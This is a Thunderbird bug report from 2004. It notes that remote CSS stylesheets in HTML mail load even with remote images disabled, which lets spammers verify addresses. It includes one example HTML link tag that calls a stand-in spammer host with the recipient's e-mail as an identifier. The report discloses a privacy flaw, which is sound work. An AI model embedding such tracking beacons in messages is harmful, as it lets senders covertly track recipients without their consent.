260962 - Remote css-stylesheets are loaded with remote image loading off

Status: RESOLVED DUPLICATE of bug 28327

(Thunderbird :: Mail Window Front End, defect)

Description

[Rudolf Horbas]

User-Agent:       Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040705 hypotext
Build Identifier: Mozilla Thunderbird 0.8 (Windows/20040913)

I turned the loading of remote images off becaues this is used by spammers to
verify mal addresses. But -- remote stylesheets in HTML mails are loaded via
http, which also enables spammers to use an unique id:

<link rel="stylesheet" type="text/css"
href="http://www.somespammer.example/layout.css?id=[e-mail]">

Which leads to the same success as loading a pixel gif with an id ...

Reproducible: Always
Steps to Reproduce:
1.
2.
3.



Expected Results:  
Not load anything from outside.
